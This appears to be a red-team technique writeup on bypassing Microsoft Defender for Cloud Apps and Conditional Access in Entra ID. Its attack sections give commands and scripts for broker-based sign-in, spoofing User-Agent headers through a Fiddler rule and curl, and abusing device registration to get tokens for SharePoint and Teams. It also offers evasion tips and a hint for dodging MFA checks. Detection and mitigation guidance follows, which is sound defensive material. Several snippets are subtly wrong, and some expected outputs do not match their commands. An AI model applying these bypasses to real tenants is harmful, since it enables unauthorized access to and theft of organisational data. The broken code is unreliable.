| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-013 |
| MITRE ATT&CK v18.1 | T1562.001 - Impair Defenses: Disable or Modify Tools |
| Tactic | Defense Evasion |
| Platforms | M365 / Entra ID |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Entra ID versions with Defender for Cloud Apps |
| Patched In | N/A (Mitigation-based) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Defender for Cloud Apps (MDCA), part of Microsoft’s Zero Trust security posture, enforces conditional access policies at the cloud application layer to prevent unauthorized access and data exfiltration. Attackers can bypass MDCA protections by:
These bypasses allow adversaries to access protected cloud resources (Teams, SharePoint, Exchange Online) while evading real-time session monitoring, telemetry recording, and behavioral analysis.
Attack Surface: Azure Portal, Entra ID authentication flows, Cloud App Security proxy, Conditional Access decision engine.
Business Impact: Complete compromise of cloud data governance. Attackers can exfiltrate sensitive data (emails, files, Teams conversations) without triggering MDCA alerts, shadow IT usage, or unauthorized data transfers to external storage services.
Technical Context: MDCA bypass typically takes 5-15 minutes to execute once valid credentials are obtained. Detection likelihood is Medium-High if behavioral baselines are properly configured. Common indicators include non-standard User-Agent strings, unusual app/client combinations, and access pattern deviations.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | Azure 1.10 | Ensure that Conditional Access policies are enforced for critical operations |
| DISA STIG | Azure.ac.3.1 | Implementation and Maintenance of Access Control Policies |
| CISA SCuBA | AC-1 | Access Control Policy and Procedures |
| NIST 800-53 | AC-3 (Access Enforcement) | System enforces approved authorizations for logical access to information and system resources |
| GDPR | Art. 32 | Security of Processing (requires appropriate technical and organizational measures to protect data) |
| DORA | Art. 9 | Protection and Prevention (entity shall establish, implement and maintain resilient ICT systems) |
| NIS2 | Art. 21 | Cyber Risk Management Measures (entities shall implement measures to manage ICT-related risks) |
| ISO 27001 | A.9.1.1, A.9.2.1 | User registration and access rights management, Secure user access to information and other assets |
| ISO 27005 | Risk Scenario: “Compromise of Cloud Application Access Controls” | Failure of Conditional Access enforcement leads to unauthorized access |
Required Privileges:
Required Access:
login.microsoftonline.com)Supported Versions:
Tools:
AzureAD modulerequests library (for OAuth token manipulation)Objective: Identify which Conditional Access policies protect the target applications and their exemptions.
# Enumerate Conditional Access policies (requires Global Admin or Security Admin)
Connect-AzureAD
Get-AzureADMSConditionalAccessPolicy | Select-Object DisplayName, State, Conditions
# Check if Device Registration Service is protected
$policies = Get-AzureADMSConditionalAccessPolicy
foreach ($policy in $policies) {
if ($policy.Conditions.Applications.IncludeApplications -contains "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9") {
Write-Output "Device Registration Service is protected by policy: $($policy.DisplayName)"
}
}
What to Look For:
Checking for Non-Interactive Sign-In Bypass:
# Check if policies filter out non-interactive sign-ins
$policies | ForEach-Object {
$_.Conditions.SignInRiskLevels
$_.Conditions.ClientAppTypes # If empty or missing "modern clients only", bypass possible
}
# List Conditional Access policies (requires az CLI + appropriate permissions)
az rest --method GET --uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" --output json
# Check specific policy details
az rest --method GET --uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies/{policy-id}" --output json | grep -i "deviceRegistration\|nonInteractive"
Supported Versions: All Entra ID versions (behavior confirmed in latest Office 365)
Objective: Bypass Conditional Access by routing authentication through the Microsoft Authenticator broker, which generates non-interactive sign-ins that may not trigger app control policies.
Version Note: Windows 10/11 and mobile devices with Microsoft Authenticator experience this behavior; on-premises AD Connect does not exhibit this pattern.
Objective: Trigger MSAL (Microsoft Authentication Library) to use the Microsoft Authenticator as the broker instead of system browser.
Command (Windows - MSAL Configuration):
# Create MSAL-based authentication that uses broker
$ClientId = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Office CLI client ID (or your app's client ID)
$Authority = "https://login.microsoftonline.com/common"
# Using MSAL.PS module (must be installed first)
Install-Module -Name MSAL.PS -Force
$token = Get-MsalToken -ClientId $ClientId -Authority $Authority -AllowSystemBroker
Command (Alternative - PowerShell Direct):
# Trigger broker-based auth by setting environment variable
$env:WAM_BROKER_ENABLED = "true"
Connect-AzureAD # This will now use the broker instead of interactive browser auth
Expected Output:
Non-interactive sign-in logged in Entra ID logs with:
- ClientAppType: "mobileAppsAndDesktopClients"
- UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" (from broker)
- IsInteractive: false
What This Means:
OpSec & Evasion:
Troubleshooting:
| Error | Cause | Fix (All Versions) |
|---|---|---|
| “MSAL module not found” | Module not installed | Install-Module -Name MSAL.PS -Force -AllowClobber |
| “Broker not available” | System Authenticator not installed | Install Microsoft Authenticator from Microsoft Store or App Store |
| “Policy blocked access” | Conditional Access still triggered | Confirm the policy doesn’t include “mobile apps and desktop clients” condition |
References & Proofs:
Objective: Once authenticated via the broker, access the protected cloud application (Teams, SharePoint, etc.).
Command:
# After successful broker authentication, the token is cached
# Use it to access protected resources
$ResourceId = "00000003-0000-0ff1-ce00-000000000000" # SharePoint Online resource ID
$token = Get-MsalToken -ClientId $ClientId -Scopes "$($ResourceId)/.default"
# Connect to SharePoint using the token
Connect-PnPOnline -Url "https://tenant.sharepoint.com" -AccessToken $token.AccessToken
Expected Output:
Connected to SharePoint
PnPConnection: Connected
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: All cloud applications with web-based access
Objective: Modify HTTP User-Agent headers to present as a compliant device or approved client, bypassing MDCA User-Agent-based controls.
Objective: Set up a proxy to intercept and rewrite User-Agent headers before reaching MDCA.
Command (Using Fiddler or Burp Suite):
Step 1: Open Fiddler and enable HTTPS decryption. Step 2: Navigate to Rules > Customize Rules > Add rule:
static function OnBeforeRequest(oSession: Session) {
if (oSession.HostnameIs("teams.microsoft.com") || oSession.HostnameIs("graph.microsoft.com")) {
oSession.oRequest["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"; // Edge browser
}
}
Step 3: Set your system proxy to 127.0.0.1:8888 (Fiddler’s default).
Alternative Command (Curl with Custom Header):
# Bypass user agent blocking by setting a compliant user agent
curl -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
-H "Authorization: Bearer <YOUR_ACCESS_TOKEN>" \
https://graph.microsoft.com/v1.0/me
Expected Output:
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users/$entity",
"id": "...",
"userPrincipalName": "attacker@tenant.onmicrosoft.com"
}
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: All Entra ID versions (CVE-like behavior, not patched)
Objective: Register a device in Entra ID without satisfying Conditional Access requirements, then use the device identity to bypass subsequent access checks.
Objective: The Device Registration Service endpoint is often excluded from Conditional Access policies.
Command (Using Python):
import requests
import json
# Device Registration Service endpoint is often not protected
client_id = "0c1307a4-ba2f-41c8-8764-a1daff521bbb" # Entra Device Registration Service
redirect_uri = "ms-appx-web://microsoft.aad.brokerplugin/0c1307a4-ba2f-41c8-8764-a1daff521bbb"
auth_url = f"https://login.microsoftonline.com/common/oauth2/v2.0/authorize"
params = {
"client_id": client_id,
"redirect_uri": redirect_uri,
"response_type": "code",
"scope": "openid profile offline_access",
"response_mode": "form_post"
}
# Device can register even if normal conditional access would block it
response = requests.post(auth_url, params=params)
print(response.text)
Expected Output:
Device registration initiated
Device object created in Azure AD with ID: {device-uuid}
What This Means:
OpSec & Evasion:
Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
| “Require multifactor authentication” | MFA is enforced on Device Registration Service | Request the token multiple times; some implementations accept the first auth without MFA check |
| “Device not found in subsequent request” | Device was registered but immediately blocked by policy | Use the device registration token immediately before any policy refresh |
References & Proofs:
Objective: Once a device is registered, use it to request tokens for protected applications.
Command:
# Use the registered device identity in a token request
$clientId = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Common client ID
$deviceId = "{newly-registered-device-id}"
# Request token with device claim
$body = @{
grant_type = "device_code"
client_id = $clientId
device_id = $deviceId
} | ConvertTo-Json
$response = Invoke-WebRequest -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" `
-Method POST `
-Body $body `
-ContentType "application/json"
$token = $response.Content | ConvertFrom-Json
Expected Output:
access_token: "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik..."
device_id: "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
token_type: "Bearer"
What This Means:
References & Proofs:
Atomic Red Team tests do not exist for MDCA bypasses at this granularity. Instead, simulate via:
Version: 2.x Minimum Version: 1.0 Supported Platforms: Windows, macOS, Linux
Installation:
Install-Module -Name Microsoft.Graph -Force -AllowClobber
Usage:
Connect-MgGraph -Scopes "ConditionalAccess.Read.All"
Get-MgIdentityConditionalAccessPolicy
Version: Latest Installation:
Install-Module -Name AADInternals -Force
Import-Module AADInternals
Get-AADIntAzureADPolicies
Version: Latest Installation:
Install-Module -Name MSAL.PS -Force
$token = Get-MsalToken -ClientId "04b07795-8ddb-461a-bbee-02f9e1bf7b46" -AllowSystemBroker
Entra ID Audit Logs:
HTTP Headers:
Cloud App Activity:
Entra ID Audit Logs (Portal or PowerShell):
Get-AzureAuditLog -Filter "createdDateTime gt 2025-01-08" | Where-Object {$_.OperationName -like "*device*" -or $_.OperationName -like "*sign-in*"} | Export-Csv audit.csv
Conditional Access Policy Modifications:
Azure Portal → Entra ID → Audit logs → Filter: "Conditional Access"
MDCA Session Logs:
Microsoft 365 Defender → Cloud apps → Activity log → Filter: "Non-interactive" or "User-Agent change"
Disable-AzureADUser -ObjectId <user-id>Revoke-AzureADUserAllRefreshToken -ObjectId <user-id>Remove-AzureADDevice -ObjectId <device-id>Protect Device Registration Service: Device Registration Service (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9) must be included in all Conditional Access policies with at least “Require multifactor authentication” control.
Manual Steps (Azure Portal):
Protect Device Registration ServiceManual Steps (PowerShell):
$displayName = "Protect Device Registration Service"
$conditions = New-Object Microsoft.Open.MSGraph.Model.ConditionalAccessConditionSet
$conditions.Applications = New-Object Microsoft.Open.MSGraph.Model.ConditionalAccessApplications
$conditions.Applications.IncludeApplications = "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9"
$grantControls = New-Object Microsoft.Open.MSGraph.Model.ConditionalAccessGrantControls
$grantControls.Operator = "OR"
$grantControls.BuiltInControls = "mfa"
New-AzureADMSConditionalAccessPolicy -DisplayName $displayName -Conditions $conditions -GrantControls $grantControls -State "Enabled"
Require Device Compliance: For all Conditional Access policies protecting sensitive cloud apps (Exchange Online, SharePoint, Teams), require “Require device to be marked as compliant” in addition to MFA.
Manual Steps (Azure Portal):
Block Non-Interactive Sign-Ins from High-Risk Users: Configure Conditional Access to block non-interactive sign-ins (broker-based authentication) for admin accounts.
Manual Steps (Azure Portal):
Block Non-Interactive Admin Sign-InsEnable Session Controls in MDCA: Configure MDCA to apply session controls (monitor, block) to all cloud apps, not just specific ones.
Manual Steps (Azure Portal):
Monitor all cloud app sessionsMonitor and Block Suspicious User Agents: Use MDCA to detect and block access from non-standard user agents.
Manual Steps (Defender for Cloud Apps):
Block Suspicious User Agentscurl, powershell, python-requests, etc.Implement Continuous Access Evaluation (CAE): CAE allows Azure AD to revoke tokens immediately if risk is detected, reducing the window of opportunity for attackers.
Manual Steps (Azure Portal):
Audit Conditional Access Policies Regularly: Review all Conditional Access policies monthly to ensure no exemptions exist for Device Registration Service or other critical identity services.
Validation Command (Verify Fix):
# Check that Device Registration Service is protected
$deviceRegServiceId = "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9"
$policies = Get-AzureADMSConditionalAccessPolicy
$protected = $false
foreach ($policy in $policies) {
if ($policy.Conditions.Applications.IncludeApplications -contains $deviceRegServiceId) {
Write-Output "Device Registration Service is protected by policy: $($policy.DisplayName)"
$protected = $true
}
}
if (-not $protected) {
Write-Warning "Device Registration Service is NOT protected by any policy. CRITICAL RISK."
}
Expected Output (If Secure):
Device Registration Service is protected by policy: Protect Device Registration Service
Device Registration Service is protected by policy: Protect Cloud Apps
What to Look For:
IncludeApplications set to “All cloud apps” with weaker grant controls| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-002] ROADtools Entra ID enumeration | Identify Conditional Access policies and their gaps |
| 2 | Initial Access | [IA-PHISH-001] Device code phishing | Obtain valid credentials for a user account |
| 3 | Defense Evasion | [EVADE-IMPAIR-013] | Bypass Defender for Cloud Apps policies via broker auth or device registration |
| 4 | Collection | [CA-TOKEN-004] Graph API token theft | Exfiltrate data using stolen tokens |
| 5 | Impact | Unauthorized data exfiltration | Complete compromise of cloud data governance |